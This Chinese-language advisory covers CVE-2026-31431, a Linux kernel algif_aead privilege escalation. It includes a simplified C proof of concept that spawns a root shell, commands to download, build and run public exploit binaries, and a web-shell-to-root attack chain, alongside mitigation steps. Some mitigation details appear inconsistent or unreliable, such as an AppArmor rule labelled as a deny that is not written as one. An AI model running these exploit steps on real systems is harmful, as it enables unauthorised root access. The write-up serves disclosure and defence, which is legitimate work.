分类: 本地权限提升(LPE)— Linux 内核
CVSS: 7.8(高危)
影响:无特权用户 → root
受影响模块:algif_aead(内核 AF_ALG 子系统)
Linux 内核向用户空间暴露了一个名为 AF_ALG(AF_ALG 套接字族)的加密接口。该接口允许无特权进程使用内核的加密加速器——加密、哈希、密钥生成——而无需 root 权限。
其中一个模块是 algif_aead,它实现了 AEAD(带关联数据的认证加密)模式,用于 AES-GCM 或 ChaCha20-Poly1305 等算法。
该 bug 在于 algif_aead 在输出缓冲区小于预期时如何处理 sendmsg() + recvmsg() 操作。内核执行复制操作(copy_to_user)时未正确验证大小,导致:
缓冲区溢出 → 内核内存越界写入
技术上:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy 向部分由用户控制的地址写入
这种越界写入允许覆盖内核内存中相邻的控制结构——特别是函数指针或 cred 结构——以实现权限提升。
因为 AF_ALG 对无特权用户可用。任何进程都可以打开 AF_ALG 套接字并发送数据,无需事先认证。该漏洞利用不需要任何辅助漏洞。
// 系统上任何用户都可以执行此操作
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| 内核版本 | 是否受影响? |
|---|---|
| < 5.10 | 否(该模块当时不存在于此形式) |
| 5.10 — 6.1.x | 是 ⚠️ |
| 6.2.x | 是 ⚠️(包含 PoC 使用的内核) |
| 6.3+ 已应用补丁 | 否 ✅ |
# 查看内核版本
uname -r
# 查看易受攻击的模块是否已加载
lsmod | grep algif_aead
# 查看 AF_ALG 是否可用
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ 如果你在
lsmod中看到algif_aead,且你的内核是 Ubuntu 23.04 上的6.2.x,你已暴露在风险中。
⚠️ 道德声明: 本节纯属教育目的。未经明确授权利用系统是非法且应受惩罚的。示例旨在用于受控的实验室环境。
1. 打开 AF_ALG 套接字 (algif_aead)
2. 使用超大缓冲区发送 sendmsg()
3. 使用较小缓冲区 recvmsg() → 触发 bug
4. 内核堆越界写入
5. 覆盖 cred->uid/gid 为 0
6. execve("/bin/sh") → root shell
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// 配置 16 字节密钥
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// 大缓冲区 → 触发越界写入
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... 使用 cmsg ALG_OP_ENCRYPT 构建 msghdr
sendmsg(op_fd, &msg, 0);
// 使用不足的缓冲区 recvmsg → 内核越界写入
recv(op_fd, small_buf, sizeof(small_buf), 0);
// 如果漏洞利用成功,我们现在是 root
if (getuid() == 0) {
printf("[+] 已获得 root 权限!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
这是一个简化方案。实际漏洞利用需要额外的堆整形原语,以将越界写入与
task_struct->cred结构对齐。
以下仓库包含有文档记录的功能实现:
copy-fail-c — 纯 C 语言漏洞利用,需要编译
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — 独立 ELF 二进制文件,无需编译
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# 克隆并编译 copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# 在易受攻击系统上的预期结果:
# [*] 检查 algif_aead 模块...
# [*] 准备堆喷射...
# [+] 越界写入成功
# [+] UID 现在为:0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
外部攻击者
│
▼
利用 Web 漏洞(RCE)→ 获得 www-data 访问权限
│
▼
上传 copyfail 到服务器(wget/curl)
│
▼
执行 ./copyfail
│
▼
服务器上获得 root shell ✓
从 www-data 访问到 root 的估计时间:< 30 秒。
唯一真正的解决方案是使用已应用补丁的内核。
# 选项 1:升级到 Ubuntu 24.04 LTS(推荐)
do-release-upgrade
# 选项 2:如果你已有 Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 验证内核已修补
uname -r # 在 Ubuntu 22.04 上应为 ≥ 5.15.0-107
如果你现在无法更新,请禁用 algif_aead:
# 创建模块黑名单
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# 重新生成 initramfs 以使其永久生效
sudo update-initramfs -u
# 重启
sudo reboot
验证其已禁用:
lsmod | grep algif_aead
# 不应显示任何内容
⚠️ 这可能会破坏通过 AF_ALG 使用 AEAD 加密的软件(在标准 Web 服务器上不常见)。
# 禁用无特权的用户命名空间(会破坏 Docker 的某些功能)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# 使其永久生效
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
创建拒绝访问 AF_ALG 的 AppArmor 配置文件:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # 在特定配置文件中拒绝
对于 Web 进程(例如 nginx/www-data):
# 添加到 www-data 或 nginx 的 AppArmor 配置文件中
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
虽然这不能阻止提权,但可以减少初始攻击面:
# 验证 www-data 没有 sudo 权限
sudo grep www-data /etc/sudoers
# 移除不必要的 SUID 二进制文件
find / -perm -4000 2>/dev/null
# 限制可访问的目录
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431本文档仅供学术目的编写 — 系统管理员工程师,2026
| 发行版 | 典型内核 | 是否有补丁? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ 已停止支持 — 无补丁 |
| Ubuntu 22.04 LTS | 5.15.x | ✅ 已修补 |
| Ubuntu 24.04 LTS | 6.8.x | ✅ 不受影响 |
| Debian 12 (Bookworm) | 6.1.x | ✅ 已修补 |
| Arch Linux (2026-03+) | 6.8.x | ✅ 不受影响 |
| 缓解措施 | 有效性 | 对服务的影响 | 永久性 |
|---|
| 更新到 Ubuntu 24.04 | ✅ 完全 | 最小 | 是 |
黑名单 algif_aead | ✅ 高 | 非常低 | 是 |
unprivileged_userns_clone=0 | 🟡 部分 | 中等 | 是 |
| AppArmor AF_ALG 拒绝 | ✅ 高 | 低 | 是 |
| 加固 www-data | 🟡 降低 | 无 | 是 |